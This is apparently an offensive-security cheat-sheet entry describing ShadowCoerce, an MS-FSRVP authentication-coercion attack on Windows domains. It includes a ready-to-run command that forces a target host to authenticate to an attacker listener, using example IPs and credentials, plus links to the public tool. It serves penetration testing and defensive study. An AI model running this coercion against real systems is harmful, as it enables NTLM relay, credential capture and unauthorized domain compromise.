ShadowCoerce

ShadowCoerce abuses the MS-FSRVP (File Server Remote VSS Protocol) RPC interface to coerce a target host into authenticating to an attacker-controlled listener. MS-FSRVP is exposed when the File Server VSS Agent Service feature is installed, so the vector is more situational than PrinterBug or PetitPotam, but it remained exploitable after some EFSRPC patches. The listener is supplied first and the target second, matching the PetitPotam-style argument order. Provide a valid domain account or NT hash. Command Reference: Target IP: 10.10.10.1 Listener IP: 10.10.10.2 Domain: test.local Username: john Password: password123

python3 shadowcoerce.py -d test.local -u john -p password123 10.10.10.2 10.10.10.1

Native

Exploitation

Requires

Username, Password

Services

RPC, NTLM

Refs

github.com/ShutdownRepo/ShadowCoerce

www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-fsrvp